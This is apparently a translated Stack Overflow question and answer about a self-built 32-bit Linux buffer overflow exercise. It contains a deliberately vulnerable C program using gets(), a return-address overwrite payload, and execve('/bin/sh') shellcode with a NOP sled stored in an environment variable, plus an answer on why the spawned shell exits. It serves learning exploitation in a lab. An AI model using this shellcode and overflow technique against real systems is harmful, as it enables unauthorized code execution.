python - 为什么我无法执行存储在环境变量中的 shellcode?

标签 python c linux binary gdb

为什么我无法执行存储在环境变量中的 shellcode?

问题

我正在尝试通过缓冲区溢出来执行存储在环境变量中的shellcode,引用 Hacking: The Art of Exploitation, 2nd Edition .

我获得了 EIP 并将 shellcode 存储在环境变量中,但无法执行。

主机操作系统:windows10 64位

guestOS(虚拟机):Linux kali 5.7.0-kali1-amd64

CPU:酷睿i7-2670QM

内存:8GB

我做了什么

我制作了一个源代码(/media/sf_share/ctf/ctest/bof3.c),该代码存在缓冲区溢出漏洞。

    [hoge@kali] /media/sf_share/ctf/ctest
    % cat ./bof3.c
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>

    void jmphere(char* v) {
        printf("jumped\n");
    }

    void vuln(){
        char a[32];
        printf("give me a word.\n");
        gets(a);
        printf("You typed %s\n", a);
        printf("jumping to 0x%x !\n",__builtin_return_address(0));
    }

    int main(int argc, char *argv[]) {
        vuln();
        return 0;
    }

编译如下。

[hoge@kali] /media/sf_share/ctf/ctest
% gcc -m32 -g -O0 -fno-stack-protector -z execstack ./bof3.c -o ./bof3
./bof3.c: In function ‘vuln’:
./bof3.c:12:5: warning: implicit declaration of function ‘gets’; did you mean ‘fgets’? [-Wimplicit-function-declaration]
   12 |     gets(a);
      |     ^~~~
      |     fgets
/usr/bin/ld: /tmp/ccAhKY66.o: in function `vuln':
/media/sf_share/ctf/ctest/./bof3.c:12: 警告: the `gets' function is dangerous and should not be used.

ASLR 已禁用。

[hoge@kali] /media/sf_share/ctf/ctest
% sudo sysctl -w kernel.randomize_va_space=0
[sudo] hoge のパスワード:
kernel.randomize_va_space = 0

通过gdb查找到返回地址的偏移量(44字节)和jmhere函数的地址(0x565561b9),成功控制了EIP。

[hoge@kali] /media/sf_share/ctf/ctest
% python -c 'print("a"*44+"\xb9\x61\x55\x56")'|./bof3
give me a word.
You typed aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa�aUV
jumping to 0x565561b9 !
jumped
zsh: done                python -c 'print("a"*44+"\xb9\x61\x55\x56")' |
zsh: segmentation fault  ./bof3

问题

接下来,我尝试将 shellcode 存储在环境变量(MYSHELLCODE)中,并尝试启动/bin/sh。 shellcode来自here

[hoge@kali] /media/sf_share/ctf/ctest
% cat ./env_shellcode-2.sh
#!/bin/sh

nopsled=$(perl -e 'print "\x90"x200')
shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

total=$nopsled$shellcode

export MYSHELLCODE=$(echo $total)
echo $MYSHELLCODE |xxd
[hoge@kali] /media/sf_share/ctf/ctest
% source env_shellcode-2.sh
00000000: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000010: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000020: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000030: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000040: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000050: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000060: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000070: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000080: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000090: 9090 9090 9090 9090 9090 9090 9090 9090  ................
000000a0: 9090 9090 9090 9090 9090 9090 9090 9090  ................
000000b0: 9090 9090 9090 9090 9090 9090 9090 9090  ................
000000c0: 9090 9090 9090 9090 31c0 5068 2f2f 7368  ........1.Ph//sh
000000d0: 682f 6269 6e89 e389 c189 c2b0 0bcd 8031  h/bin..........1
000000e0: c040 cd80 0a                             .@...

我用gdb查找了MYSHELLCODE的地址,并试图通过跳转到它周围来执行shellcode,但它不起作用。 /bin/sh 没有启动,程序正常完成如下。

谁能解释一下如何执行代码?

gdb-peda$ x/10s $esp+1900
(omitted)
0xffffdea2:     "MYSHELLCODE=", '\220' <repeats 188 times>...
0xffffdf6a:     '\220' <repeats 12 times>, "\061\300Ph//shh/bin\211\343\211\301\211°\v1\300@"
(omitted)
gdb-peda$ q
[hoge@kali] /media/sf_share/ctf/ctest
% python -c 'print("a"*44+"\xe2\xde\xff\xff")'|./bof3
give me a word.
You typed aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa����
jumping to 0xffffdee2 !

最佳答案

好消息!您的 Python 有效负载(假设它是 Python 2)或使用环境变量没有任何问题。这个问题实际上是别的问题(稍后解释)。

首先,您可以通过将 shellcode 中的“sh”更改为其他内容来验证您的代码是否跳转到正确的地址。例如,我的机器上有 /bin/pi,所以我将代码更改为

shellcode="\x31\xc0\x50""h//pi""h/bin""\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

并且,在使用 Scanmem/GameConqueror 找到正确的地址(您的地址可能不同)后,我将其输出

give me a word.
You typed aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa����
jumping to 0xffffdfb3 !
3.141592653589793238462643383279502884197169399375105820974944592307816406286208998628034825342117067

为什么不ls

如果将 sh 更改为 ls,或 GNU Coreutils 中的任何其他程序,您将收到以下消息:

A NULL argv[0] was passed through an exec system call.

虽然这确实表明 shellcode 正在执行,但它远不如 pi 令人满意。 (该消息已解释here。)

那么为什么 sh 不起作用呢?

这个answer更深入地解释发生了什么:

When the shellcode execve(/bin/sh) executes, it has no connected standard input (because of GETS) and will terminate.

因此,如果您对让 sh 正常工作感到满意,只需在 gets 之后添加以下内容即可:

#include <sys/fcntl.h>
...
    gets(a);
...
    // Close STDIN
    close(0);
    // Open /dev/tty
    open("/dev/tty", O_RDWR | O_NOCTTY);
...

但是,如果您想保持程序不变,则必须修改您的 shellcode 或有效负载。我上面提到的答案显示了修改后的有效负载的示例,但由于看起来您是通过覆盖返回地址来直接调用地址,因此您必须将系统调用添加到 close STDINopen /dev/tty 到您的 shellcode。

关于python - 为什么我无法执行存储在环境变量中的 shellcode?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/63485751/

相关文章:

linux - 如何为用户设置 umask 默认值?

python将多列文件读入数组

c - 为什么在函数中使用字符串参数时退出程序后我的变量损坏(运行时检查失败)

c - 搜索最小值时二叉搜索树中的段错误

linux - 如何在 linux shell 中检查数字是否偶数?

linux - 如何将列中的值拆分为单独的列

python - Django:在下拉列表中显示字典的值

python - Django 和杰通

在循环外看不到 'for' 循环中声明的 Python 变量

c - 警告 : control reaches end of non-void function [-Wreturn-type]